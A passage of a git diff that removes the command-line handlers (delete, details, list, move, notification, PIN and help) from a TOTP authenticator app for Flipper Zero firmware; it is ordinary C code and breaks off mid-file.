plugin_state->bt_type_code_worker_context = NULL; - } -#endif - - TOTP_CLI_UNLOCK_UI(plugin_state); - } else { - TOTP_CLI_PRINTF_INFO("Current automation method is "); - print_method(plugin_state->automation_method, TOTP_CLI_COLOR_INFO); - TOTP_CLI_PRINTF_INFO(" ("); - print_kb_layout(plugin_state->automation_kb_layout, TOTP_CLI_COLOR_INFO); - TOTP_CLI_PRINTF_INFO(")"); - cli_nl(); - } - } while(false); - - furi_string_free(temp_str); -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/automation/automation.h b/applications/external/totp/cli/commands/automation/automation.h deleted file mode 100644 index 4a713d49b..000000000 --- a/applications/external/totp/cli/commands/automation/automation.h +++ /dev/null @@ -1,12 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" - -#define TOTP_CLI_COMMAND_AUTOMATION "automation" - -void totp_cli_command_automation_handle(PluginState* plugin_state, FuriString* args, Cli* cli); -void totp_cli_command_automation_docopt_commands(); -void totp_cli_command_automation_docopt_usage(); -void totp_cli_command_automation_docopt_arguments(); -void totp_cli_command_automation_docopt_options(); \ No newline at end of file diff --git a/applications/external/totp/cli/commands/delete/delete.c b/applications/external/totp/cli/commands/delete/delete.c deleted file mode 100644 index 9a084b23f..000000000 --- a/applications/external/totp/cli/commands/delete/delete.c +++ /dev/null @@ -1,106 +0,0 @@ -#include "delete.h" - -#include -#include -#include -#include "../../../services/config/config.h" -#include "../../cli_helpers.h" -#include "../../../ui/scene_director.h" -#include "../../common_command_arguments.h" - -#define TOTP_CLI_COMMAND_DELETE_ARG_FORCE_PREFIX "-f" - -void totp_cli_command_delete_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_DELETE ", " TOTP_CLI_COMMAND_DELETE_ALT - " Delete existing token\r\n"); -} - -void totp_cli_command_delete_docopt_usage() { - TOTP_CLI_PRINTF( - " " TOTP_CLI_COMMAND_NAME - " " DOCOPT_REQUIRED(TOTP_CLI_COMMAND_DELETE " | " TOTP_CLI_COMMAND_DELETE_ALT) " " DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_ARG_INDEX) " " DOCOPT_OPTIONAL(DOCOPT_SWITCH(TOTP_CLI_COMMAND_DELETE_ARG_FORCE_PREFIX)) "\r\n"); -} - -void totp_cli_command_delete_docopt_arguments() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_ARG_INDEX " Token index in the list\r\n"); -} - -void totp_cli_command_delete_docopt_options() { - TOTP_CLI_PRINTF(" " DOCOPT_SWITCH( - TOTP_CLI_COMMAND_DELETE_ARG_FORCE_PREFIX) " Force command to do not ask user for interactive confirmation\r\n"); -} - -void totp_cli_command_delete_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { - if(!totp_cli_ensure_authenticated(plugin_state, cli)) { - return; - } - - TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - - int token_number; - if(!args_read_int_and_trim(args, &token_number) || token_number <= 0 || - (size_t)token_number > totp_token_info_iterator_get_total_count(iterator_context)) { - totp_cli_print_invalid_arguments(); - return; - } - - FuriString* temp_str = furi_string_alloc(); - bool confirm_needed = true; - if(args_read_string_and_trim(args, temp_str)) { - if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_DELETE_ARG_FORCE_PREFIX) == 0) { - confirm_needed = false; - } else { - totp_cli_printf_unknown_argument(temp_str); - totp_cli_print_invalid_arguments(); - furi_string_free(temp_str); - return; - } - } - furi_string_free(temp_str); - - TOTP_CLI_LOCK_UI(plugin_state); - - size_t original_token_index = - totp_token_info_iterator_get_current_token_index(iterator_context); - totp_token_info_iterator_go_to(iterator_context, token_number - 1); - const TokenInfo* token_info = totp_token_info_iterator_get_current_token(iterator_context); - const char* token_info_name = furi_string_get_cstr(token_info->name); - - bool confirmed = !confirm_needed; - if(confirm_needed) { - TOTP_CLI_PRINTF_WARNING("WARNING!\r\n"); - TOTP_CLI_PRINTF_WARNING( - "TOKEN \"%s\" WILL BE PERMANENTLY DELETED WITHOUT ABILITY TO RECOVER IT.\r\n", - token_info_name); - TOTP_CLI_PRINTF_WARNING("Confirm? [y/n]\r\n"); - fflush(stdout); - char user_pick; - do { - user_pick = tolower(cli_getc(cli)); - } while(user_pick != 'y' && user_pick != 'n' && user_pick != CliSymbolAsciiCR && - user_pick != CliSymbolAsciiETX && user_pick != CliSymbolAsciiEsc); - - confirmed = user_pick == 'y' || user_pick == CliSymbolAsciiCR; - } - - if(confirmed) { - totp_cli_print_processing(); - if(totp_token_info_iterator_remove_current_token_info(iterator_context)) { - totp_cli_delete_last_line(); - TOTP_CLI_PRINTF_SUCCESS( - "Token \"%s\" has been successfully deleted\r\n", token_info_name); - totp_token_info_iterator_go_to(iterator_context, 0); - } else { - totp_cli_delete_last_line(); - totp_cli_print_error_updating_config_file(); - totp_token_info_iterator_go_to(iterator_context, original_token_index); - } - } else { - TOTP_CLI_PRINTF_INFO("User has not confirmed\r\n"); - totp_token_info_iterator_go_to(iterator_context, original_token_index); - } - - TOTP_CLI_UNLOCK_UI(plugin_state); -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/delete/delete.h b/applications/external/totp/cli/commands/delete/delete.h deleted file mode 100644 index deb7f74fe..000000000 --- a/applications/external/totp/cli/commands/delete/delete.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" - -#define TOTP_CLI_COMMAND_DELETE "delete" -#define TOTP_CLI_COMMAND_DELETE_ALT "rm" - -void totp_cli_command_delete_handle(PluginState* plugin_state, FuriString* args, Cli* cli); -void totp_cli_command_delete_docopt_commands(); -void totp_cli_command_delete_docopt_usage(); -void totp_cli_command_delete_docopt_arguments(); -void totp_cli_command_delete_docopt_options(); \ No newline at end of file diff --git a/applications/external/totp/cli/commands/details/details.c b/applications/external/totp/cli/commands/details/details.c deleted file mode 100644 index 1677121b1..000000000 --- a/applications/external/totp/cli/commands/details/details.c +++ /dev/null @@ -1,92 +0,0 @@ -#include "details.h" -#include -#include -#include "../../../types/token_info.h" -#include "../../../services/config/constants.h" -#include "../../../services/config/config.h" -#include "../../../ui/scene_director.h" -#include "../../cli_helpers.h" -#include "../../common_command_arguments.h" - -#define TOTP_CLI_PRINTF_AUTOMATION_FEATURE(description, header_printed) \ - do { \ - TOTP_CLI_PRINTF( \ - "| %-20s | %-28.28s |\r\n", \ - header_printed ? "" : "Automation features", \ - description); \ - header_printed = true; \ - } while(false) - -static void print_automation_features(const TokenInfo* token_info) { - if(token_info->automation_features == TokenAutomationFeatureNone) { - TOTP_CLI_PRINTF("| %-20s | %-28.28s |\r\n", "Automation features", "None"); - return; - } - - bool header_printed = false; - if(token_info->automation_features & TokenAutomationFeatureEnterAtTheEnd) { - TOTP_CLI_PRINTF_AUTOMATION_FEATURE("Type key at the end", header_printed); - } - - if(token_info->automation_features & TokenAutomationFeatureTabAtTheEnd) { - TOTP_CLI_PRINTF_AUTOMATION_FEATURE("Type key at the end", header_printed); - } - - if(token_info->automation_features & TokenAutomationFeatureTypeSlower) { - TOTP_CLI_PRINTF_AUTOMATION_FEATURE("Type slower", header_printed); - } -} - -void totp_cli_command_details_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_DETAILS ", " TOTP_CLI_COMMAND_DETAILS_ALT - " Displays token details\r\n"); -} - -void totp_cli_command_details_docopt_usage() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_NAME " " DOCOPT_REQUIRED( - TOTP_CLI_COMMAND_DETAILS - " | " TOTP_CLI_COMMAND_DETAILS_ALT) " " DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_INDEX) "\r\n"); -} - -void totp_cli_command_details_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { - if(!totp_cli_ensure_authenticated(plugin_state, cli)) { - return; - } - - int token_number; - TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - if(!args_read_int_and_trim(args, &token_number) || token_number <= 0 || - (size_t)token_number > totp_token_info_iterator_get_total_count(iterator_context)) { - totp_cli_print_invalid_arguments(); - return; - } - - TOTP_CLI_LOCK_UI(plugin_state); - - size_t original_token_index = - totp_token_info_iterator_get_current_token_index(iterator_context); - if(totp_token_info_iterator_go_to(iterator_context, token_number - 1)) { - const TokenInfo* token_info = totp_token_info_iterator_get_current_token(iterator_context); - - TOTP_CLI_PRINTF("+----------------------+------------------------------+\r\n"); - TOTP_CLI_PRINTF("| %-20s | %-28s |\r\n", "Property", "Value"); - TOTP_CLI_PRINTF("+----------------------+------------------------------+\r\n"); - TOTP_CLI_PRINTF("| %-20s | %-28d |\r\n", "Index", token_number); - TOTP_CLI_PRINTF( - "| %-20s | %-28.28s |\r\n", "Name", furi_string_get_cstr(token_info->name)); - TOTP_CLI_PRINTF( - "| %-20s | %-28s |\r\n", "Hashing algorithm", token_info_get_algo_as_cstr(token_info)); - TOTP_CLI_PRINTF("| %-20s | %-28" PRIu8 " |\r\n", "Number of digits", token_info->digits); - TOTP_CLI_PRINTF( - "| %-20s | %" PRIu8 " sec.%-21s |\r\n", "Token lifetime", token_info->duration, " "); - print_automation_features(token_info); - TOTP_CLI_PRINTF("+----------------------+------------------------------+\r\n"); - } else { - totp_cli_print_error_loading_token_info(); - } - - totp_token_info_iterator_go_to(iterator_context, original_token_index); - - TOTP_CLI_UNLOCK_UI(plugin_state); -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/details/details.h b/applications/external/totp/cli/commands/details/details.h deleted file mode 100644 index d141705a5..000000000 --- a/applications/external/totp/cli/commands/details/details.h +++ /dev/null @@ -1,11 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" - -#define TOTP_CLI_COMMAND_DETAILS "lsattr" -#define TOTP_CLI_COMMAND_DETAILS_ALT "cat" - -void totp_cli_command_details_handle(PluginState* plugin_state, FuriString* args, Cli* cli); -void totp_cli_command_details_docopt_commands(); -void totp_cli_command_details_docopt_usage(); diff --git a/applications/external/totp/cli/commands/help/help.c b/applications/external/totp/cli/commands/help/help.c deleted file mode 100644 index 7093877ea..000000000 --- a/applications/external/totp/cli/commands/help/help.c +++ /dev/null @@ -1,69 +0,0 @@ -#include "help.h" -#include "../../cli_helpers.h" -#include "../add/add.h" -#include "../update/update.h" -#include "../delete/delete.h" -#include "../list/list.h" -#include "../timezone/timezone.h" -#include "../move/move.h" -#include "../pin/pin.h" -#include "../notification/notification.h" -#include "../reset/reset.h" -#include "../automation/automation.h" -#include "../details/details.h" - -void totp_cli_command_help_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_HELP ", " TOTP_CLI_COMMAND_HELP_ALT - ", " TOTP_CLI_COMMAND_HELP_ALT2 " Show command usage help\r\n"); -} - -void totp_cli_command_help_docopt_usage() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_NAME " " DOCOPT_REQUIRED( - TOTP_CLI_COMMAND_HELP " | " TOTP_CLI_COMMAND_HELP_ALT - " | " TOTP_CLI_COMMAND_HELP_ALT2) "\r\n"); -} - -void totp_cli_command_help_handle() { - TOTP_CLI_PRINTF("Usage:\r\n"); - totp_cli_command_help_docopt_usage(); - totp_cli_command_list_docopt_usage(); - totp_cli_command_details_docopt_usage(); - totp_cli_command_add_docopt_usage(); - totp_cli_command_update_docopt_usage(); - totp_cli_command_delete_docopt_usage(); - totp_cli_command_timezone_docopt_usage(); - totp_cli_command_move_docopt_usage(); - totp_cli_command_pin_docopt_usage(); - totp_cli_command_notification_docopt_usage(); - totp_cli_command_reset_docopt_usage(); - totp_cli_command_automation_docopt_usage(); - cli_nl(); - TOTP_CLI_PRINTF("Commands:\r\n"); - totp_cli_command_help_docopt_commands(); - totp_cli_command_list_docopt_commands(); - totp_cli_command_details_docopt_commands(); - totp_cli_command_add_docopt_commands(); - totp_cli_command_update_docopt_commands(); - totp_cli_command_delete_docopt_commands(); - totp_cli_command_timezone_docopt_commands(); - totp_cli_command_move_docopt_commands(); - totp_cli_command_pin_docopt_commands(); - totp_cli_command_notification_docopt_commands(); - totp_cli_command_reset_docopt_commands(); - totp_cli_command_automation_docopt_commands(); - cli_nl(); - TOTP_CLI_PRINTF("Arguments:\r\n"); - totp_cli_command_add_docopt_arguments(); - totp_cli_command_delete_docopt_arguments(); - totp_cli_command_move_docopt_arguments(); - totp_cli_command_timezone_docopt_arguments(); - totp_cli_command_notification_docopt_arguments(); - totp_cli_command_automation_docopt_arguments(); - cli_nl(); - TOTP_CLI_PRINTF("Options:\r\n"); - totp_cli_command_add_docopt_options(); - totp_cli_command_update_docopt_options(); - totp_cli_command_delete_docopt_options(); - totp_cli_command_pin_docopt_options(); - totp_cli_command_automation_docopt_options(); -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/help/help.h b/applications/external/totp/cli/commands/help/help.h deleted file mode 100644 index 4268b8bc5..000000000 --- a/applications/external/totp/cli/commands/help/help.h +++ /dev/null @@ -1,11 +0,0 @@ -#pragma once - -#include - -#define TOTP_CLI_COMMAND_HELP "help" -#define TOTP_CLI_COMMAND_HELP_ALT "h" -#define TOTP_CLI_COMMAND_HELP_ALT2 "?" - -void totp_cli_command_help_handle(); -void totp_cli_command_help_docopt_commands(); -void totp_cli_command_help_docopt_usage(); \ No newline at end of file diff --git a/applications/external/totp/cli/commands/list/list.c b/applications/external/totp/cli/commands/list/list.c deleted file mode 100644 index bf5a8da52..000000000 --- a/applications/external/totp/cli/commands/list/list.c +++ /dev/null @@ -1,56 +0,0 @@ -#include "list.h" -#include -#include "../../../types/token_info.h" -#include "../../../services/config/constants.h" -#include "../../../services/config/config.h" -#include "../../../ui/scene_director.h" -#include "../../cli_helpers.h" - -void totp_cli_command_list_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_LIST ", " TOTP_CLI_COMMAND_LIST_ALT - " List all available tokens\r\n"); -} - -void totp_cli_command_list_docopt_usage() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_NAME " " DOCOPT_REQUIRED( - TOTP_CLI_COMMAND_LIST " | " TOTP_CLI_COMMAND_LIST_ALT) "\r\n"); -} - -void totp_cli_command_list_handle(PluginState* plugin_state, Cli* cli) { - if(!totp_cli_ensure_authenticated(plugin_state, cli)) { - return; - } - - TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - size_t total_count = totp_token_info_iterator_get_total_count(iterator_context); - if(total_count <= 0) { - TOTP_CLI_PRINTF("There are no tokens"); - return; - } - - TOTP_CLI_LOCK_UI(plugin_state); - - size_t original_index = totp_token_info_iterator_get_current_token_index(iterator_context); - - TOTP_CLI_PRINTF("+-----+---------------------------+--------+----+-----+\r\n"); - TOTP_CLI_PRINTF("| %-3s | %-25s | %-6s | %-s | %-s |\r\n", "#", "Name", "Algo", "Ln", "Dur"); - TOTP_CLI_PRINTF("+-----+---------------------------+--------+----+-----+\r\n"); - for(size_t i = 0; i < total_count; i++) { - totp_token_info_iterator_go_to(iterator_context, i); - const TokenInfo* token_info = totp_token_info_iterator_get_current_token(iterator_context); - TOTP_CLI_PRINTF( - "| %-3" PRIu16 " | %-25.25s | %-6s | %-2" PRIu8 " | %-3" PRIu8 " |\r\n", - i + 1, - furi_string_get_cstr(token_info->name), - token_info_get_algo_as_cstr(token_info), - token_info->digits, - token_info->duration); - } - - TOTP_CLI_PRINTF("+-----+---------------------------+--------+----+-----+\r\n"); - - totp_token_info_iterator_go_to(iterator_context, original_index); - - TOTP_CLI_UNLOCK_UI(plugin_state); -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/list/list.h b/applications/external/totp/cli/commands/list/list.h deleted file mode 100644 index 7d6de5874..000000000 --- a/applications/external/totp/cli/commands/list/list.h +++ /dev/null @@ -1,11 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" - -#define TOTP_CLI_COMMAND_LIST "list" -#define TOTP_CLI_COMMAND_LIST_ALT "ls" - -void totp_cli_command_list_handle(PluginState* plugin_state, Cli* cli); -void totp_cli_command_list_docopt_commands(); -void totp_cli_command_list_docopt_usage(); diff --git a/applications/external/totp/cli/commands/move/move.c b/applications/external/totp/cli/commands/move/move.c deleted file mode 100644 index f26cda46e..000000000 --- a/applications/external/totp/cli/commands/move/move.c +++ /dev/null @@ -1,83 +0,0 @@ -#include "move.h" - -#include -#include -#include "../../../types/token_info.h" -#include "../../../services/config/config.h" -#include "../../cli_helpers.h" -#include "../../../ui/scene_director.h" -#include "../../common_command_arguments.h" - -#define TOTP_CLI_COMMAND_MOVE_ARG_NEW_INDEX "new_index" - -void totp_cli_command_move_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_MOVE ", " TOTP_CLI_COMMAND_MOVE_ALT - " Move token\r\n"); -} - -void totp_cli_command_move_docopt_usage() { - TOTP_CLI_PRINTF( - " " TOTP_CLI_COMMAND_NAME - " " DOCOPT_REQUIRED(TOTP_CLI_COMMAND_MOVE " | " TOTP_CLI_COMMAND_MOVE_ALT) " " DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_ARG_INDEX) " " DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_MOVE_ARG_NEW_INDEX) "\r\n"); -} - -void totp_cli_command_move_docopt_arguments() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_MOVE_ARG_NEW_INDEX - " New token index in the list\r\n"); -} - -void totp_cli_command_move_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { - if(!totp_cli_ensure_authenticated(plugin_state, cli)) { - return; - } - - int token_number; - TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - size_t total_count = totp_token_info_iterator_get_total_count(iterator_context); - if(!args_read_int_and_trim(args, &token_number) || token_number < 1 || - (size_t)token_number > total_count) { - totp_cli_print_invalid_arguments(); - return; - } - - int new_token_number = 0; - - if(!args_read_int_and_trim(args, &new_token_number) || new_token_number < 1 || - (size_t)new_token_number > total_count) { - totp_cli_print_invalid_arguments(); - return; - } - - if(token_number == new_token_number) { - TOTP_CLI_PRINTF_ERROR("New token number matches current token number\r\n"); - return; - } - - TOTP_CLI_LOCK_UI(plugin_state); - - size_t token_index = token_number - 1; - size_t new_token_index = new_token_number - 1; - - size_t original_token_index = - totp_token_info_iterator_get_current_token_index(iterator_context); - - totp_cli_print_processing(); - - if(totp_token_info_iterator_go_to(iterator_context, token_index) && - totp_token_info_iterator_move_current_token_info(iterator_context, new_token_index)) { - totp_cli_delete_last_line(); - TOTP_CLI_PRINTF_SUCCESS( - "Token \"%s\" has been successfully updated\r\n", - furi_string_get_cstr( - totp_token_info_iterator_get_current_token(iterator_context)->name)); - } else { - totp_cli_delete_last_line(); - totp_cli_print_error_updating_config_file(); - } - - totp_token_info_iterator_go_to(iterator_context, original_token_index); - - TOTP_CLI_UNLOCK_UI(plugin_state); -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/move/move.h b/applications/external/totp/cli/commands/move/move.h deleted file mode 100644 index da84f2a62..000000000 --- a/applications/external/totp/cli/commands/move/move.h +++ /dev/null @@ -1,12 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" - -#define TOTP_CLI_COMMAND_MOVE "move" -#define TOTP_CLI_COMMAND_MOVE_ALT "mv" - -void totp_cli_command_move_handle(PluginState* plugin_state, FuriString* args, Cli* cli); -void totp_cli_command_move_docopt_commands(); -void totp_cli_command_move_docopt_usage(); -void totp_cli_command_move_docopt_arguments(); \ No newline at end of file diff --git a/applications/external/totp/cli/commands/notification/notification.c b/applications/external/totp/cli/commands/notification/notification.c deleted file mode 100644 index f91b1b982..000000000 --- a/applications/external/totp/cli/commands/notification/notification.c +++ /dev/null @@ -1,103 +0,0 @@ -#include "notification.h" -#include -#include "../../../services/config/config.h" -#include "../../../ui/scene_director.h" -#include "../../cli_helpers.h" - -#define TOTP_CLI_COMMAND_NOTIFICATION_ARG_METHOD "notification" -#define TOTP_CLI_COMMAND_NOTIFICATION_METHOD_NONE "none" -#define TOTP_CLI_COMMAND_NOTIFICATION_METHOD_SOUND "sound" -#define TOTP_CLI_COMMAND_NOTIFICATION_METHOD_VIBRO "vibro" - -void totp_cli_command_notification_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_NOTIFICATION - " Get or set notification method\r\n"); -} - -void totp_cli_command_notification_docopt_usage() { - TOTP_CLI_PRINTF( - " " TOTP_CLI_COMMAND_NAME " " TOTP_CLI_COMMAND_NOTIFICATION " " DOCOPT_OPTIONAL( - DOCOPT_MULTIPLE(DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_NOTIFICATION_ARG_METHOD))) "\r\n"); -} - -void totp_cli_command_notification_docopt_arguments() { - TOTP_CLI_PRINTF( - " " TOTP_CLI_COMMAND_NOTIFICATION_ARG_METHOD - " Notification method to be set. Must be one of: " TOTP_CLI_COMMAND_NOTIFICATION_METHOD_NONE - ", " TOTP_CLI_COMMAND_NOTIFICATION_METHOD_SOUND - ", " TOTP_CLI_COMMAND_NOTIFICATION_METHOD_VIBRO "\r\n"); -} - -static void - totp_cli_command_notification_print_method(NotificationMethod method, const char* color) { - bool has_previous_method = false; - if(method & NotificationMethodSound) { - TOTP_CLI_PRINTF_COLORFUL(color, "\"" TOTP_CLI_COMMAND_NOTIFICATION_METHOD_SOUND "\""); - has_previous_method = true; - } - if(method & NotificationMethodVibro) { - if(has_previous_method) { - TOTP_CLI_PRINTF_COLORFUL(color, " and "); - } - - TOTP_CLI_PRINTF_COLORFUL(color, "\"" TOTP_CLI_COMMAND_NOTIFICATION_METHOD_VIBRO "\""); - } - if(method == NotificationMethodNone) { - TOTP_CLI_PRINTF_COLORFUL(color, "\"" TOTP_CLI_COMMAND_NOTIFICATION_METHOD_NONE "\""); - } -} - -void totp_cli_command_notification_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { - if(!totp_cli_ensure_authenticated(plugin_state, cli)) { - return; - } - - FuriString* temp_str = furi_string_alloc(); - bool new_method_provided = false; - NotificationMethod new_method = NotificationMethodNone; - bool args_valid = true; - while(args_read_string_and_trim(args, temp_str)) { - if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_NOTIFICATION_METHOD_NONE) == 0) { - new_method_provided = true; - new_method = NotificationMethodNone; - } else if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_NOTIFICATION_METHOD_SOUND) == 0) { - new_method_provided = true; - new_method |= NotificationMethodSound; - } else if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_NOTIFICATION_METHOD_VIBRO) == 0) { - new_method_provided = true; - new_method |= NotificationMethodVibro; - } else { - args_valid = false; - break; - } - } - - do { - if(!args_valid) { - totp_cli_print_invalid_arguments(); - break; - } - - if(new_method_provided) { - TOTP_CLI_LOCK_UI(plugin_state); - - plugin_state->notification_method = new_method; - if(totp_config_file_update_notification_method(plugin_state)) { - TOTP_CLI_PRINTF_SUCCESS("Notification method is set to "); - totp_cli_command_notification_print_method(new_method, TOTP_CLI_COLOR_SUCCESS); - cli_nl(); - } else { - totp_cli_print_error_updating_config_file(); - } - - TOTP_CLI_UNLOCK_UI(plugin_state); - } else { - TOTP_CLI_PRINTF_INFO("Current notification method is "); - totp_cli_command_notification_print_method( - plugin_state->notification_method, TOTP_CLI_COLOR_INFO); - cli_nl(); - } - } while(false); - - furi_string_free(temp_str); -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/notification/notification.h b/applications/external/totp/cli/commands/notification/notification.h deleted file mode 100644 index c349f9620..000000000 --- a/applications/external/totp/cli/commands/notification/notification.h +++ /dev/null @@ -1,11 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" - -#define TOTP_CLI_COMMAND_NOTIFICATION "notify" - -void totp_cli_command_notification_handle(PluginState* plugin_state, FuriString* args, Cli* cli); -void totp_cli_command_notification_docopt_commands(); -void totp_cli_command_notification_docopt_usage(); -void totp_cli_command_notification_docopt_arguments(); \ No newline at end of file diff --git a/applications/external/totp/cli/commands/pin/pin.c b/applications/external/totp/cli/commands/pin/pin.c deleted file mode 100644 index 2b989a713..000000000 --- a/applications/external/totp/cli/commands/pin/pin.c +++ /dev/null @@ -1,191 +0,0 @@ -#include "pin.h" - -#include -#include -#include "../../../types/token_info.h" -#include "../../../types/user_pin_codes.h" -#include "../../../services/config/config.h" -#include "../../cli_helpers.h" -#include -#include "../../../services/crypto/crypto_facade.h" -#include "../../../ui/scene_director.h" - -#define TOTP_CLI_COMMAND_PIN_COMMAND_SET "set" -#define TOTP_CLI_COMMAND_PIN_COMMAND_REMOVE "remove" -#define TOTP_CLI_COMMAND_PIN_ARG_NEW_CRYPTO_KEY_SLOT_PREFIX "-c" -#define TOTP_CLI_COMMAND_PIN_ARG_NEW_CRYPTO_KEY_SLOT "slot" - -void totp_cli_command_pin_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_PIN " Set\\change\\remove PIN\r\n"); -} - -void totp_cli_command_pin_docopt_usage() { - TOTP_CLI_PRINTF( - " " TOTP_CLI_COMMAND_NAME " " TOTP_CLI_COMMAND_PIN - " " DOCOPT_REQUIRED(TOTP_CLI_COMMAND_PIN_COMMAND_SET " | " TOTP_CLI_COMMAND_PIN_COMMAND_REMOVE) " " DOCOPT_OPTIONAL( - DOCOPT_OPTION( - TOTP_CLI_COMMAND_PIN_ARG_NEW_CRYPTO_KEY_SLOT_PREFIX, - DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_PIN_ARG_NEW_CRYPTO_KEY_SLOT))) "\r\n"); -} - -void totp_cli_command_pin_docopt_options() { - TOTP_CLI_PRINTF( - " " DOCOPT_OPTION( - TOTP_CLI_COMMAND_PIN_ARG_NEW_CRYPTO_KEY_SLOT_PREFIX, - DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_PIN_ARG_NEW_CRYPTO_KEY_SLOT)) " New crypto key slot. Must be between %d and %d\r\n", - ACCEPTABLE_CRYPTO_KEY_SLOT_START, - ACCEPTABLE_CRYPTO_KEY_SLOT_END); -} - -static inline uint8_t totp_cli_key_to_pin_code(uint8_t key) { - uint8_t code = 0; - switch(key) { - case 0x44: // left - code = PinCodeArrowLeft; - break; - case 0x41: // up - code = PinCodeArrowUp; - break; - case 0x43: // right - code = PinCodeArrowRight; - break; - case 0x42: // down - code = PinCodeArrowDown; - break; - default: - break; - } - - return code; -} - -static bool totp_cli_read_pin(Cli* cli, uint8_t* pin, uint8_t* pin_length) { - TOTP_CLI_PRINTF("Enter new PIN (use arrow keys on your keyboard): "); - fflush(stdout); - uint8_t c; - *pin_length = 0; - while(cli_read(cli, &c, 1) == 1) { - if(c == CliSymbolAsciiEsc) { - uint8_t c2; - uint8_t c3; - if(cli_read_timeout(cli, &c2, 1, 0) == 1 && cli_read_timeout(cli, &c3, 1, 0) == 1 && - c2 == 0x5b) { - uint8_t code = totp_cli_key_to_pin_code(c3); - if(code > 0) { - pin[*pin_length] = code; - *pin_length = *pin_length + 1; - putc('*', stdout); - fflush(stdout); - } - } - } else if(c == CliSymbolAsciiETX) { - totp_cli_delete_current_line(); - TOTP_CLI_PRINTF_INFO("Cancelled by user\r\n"); - return false; - } else if(c == CliSymbolAsciiBackspace || c == CliSymbolAsciiDel) { - if(*pin_length > 0) { - *pin_length = *pin_length - 1; - pin[*pin_length] = 0; - totp_cli_delete_last_char(); - } - } else if(c == CliSymbolAsciiCR) { - cli_nl(); - break; - } - } - - totp_cli_delete_last_line(); - return true; -} - -void totp_cli_command_pin_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { - UNUSED(plugin_state); - FuriString* temp_str = furi_string_alloc(); - - bool do_change = false; - bool do_remove = false; - uint8_t crypto_key_slot = plugin_state->crypto_settings.crypto_key_slot; - - bool arguments_parsed = true; - while(args_read_string_and_trim(args, temp_str)) { - if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_PIN_COMMAND_SET) == 0) { - do_change = true; - } else if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_PIN_COMMAND_REMOVE) == 0) { - do_remove = true; - } else if( - furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_PIN_ARG_NEW_CRYPTO_KEY_SLOT_PREFIX) == - 0) { - if(!args_read_uint8_and_trim(args, &crypto_key_slot) || - !totp_crypto_check_key_slot(crypto_key_slot)) { - TOTP_CLI_PRINTF_ERROR("Slot \"%" PRIu8 "\" can not be used\r\n", crypto_key_slot); - arguments_parsed = false; - break; - } - } else { - totp_cli_print_invalid_arguments(); - arguments_parsed = false; - break; - } - } - - if(!(do_change || do_remove) || (do_change && do_remove)) { - totp_cli_print_invalid_arguments(); - arguments_parsed = false; - } - - if(arguments_parsed && totp_cli_ensure_authenticated(plugin_state, cli)) { - TOTP_CLI_LOCK_UI(plugin_state); - do { - uint8_t new_pin[CRYPTO_IV_LENGTH]; - memset(&new_pin[0], 0, CRYPTO_IV_LENGTH); - uint8_t new_pin_length = 0; - if(do_change) { - if(!totp_cli_read_pin(cli, &new_pin[0], &new_pin_length)) { - memset_s(&new_pin[0], CRYPTO_IV_LENGTH, 0, CRYPTO_IV_LENGTH); - break; - } - } else if(do_remove) { - new_pin_length = 0; - memset(&new_pin[0], 0, CRYPTO_IV_LENGTH); - } - - char* backup_path = totp_config_file_backup(plugin_state); - if(backup_path != NULL) { - TOTP_CLI_PRINTF_WARNING("Backup conf file %s has been created\r\n", backup_path); - TOTP_CLI_PRINTF_WARNING( - "Once you make sure everything is fine and works as expected, please delete this backup file\r\n"); - free(backup_path); - } else { - memset_s(&new_pin[0], CRYPTO_IV_LENGTH, 0, CRYPTO_IV_LENGTH); - TOTP_CLI_PRINTF_ERROR( - "An error has 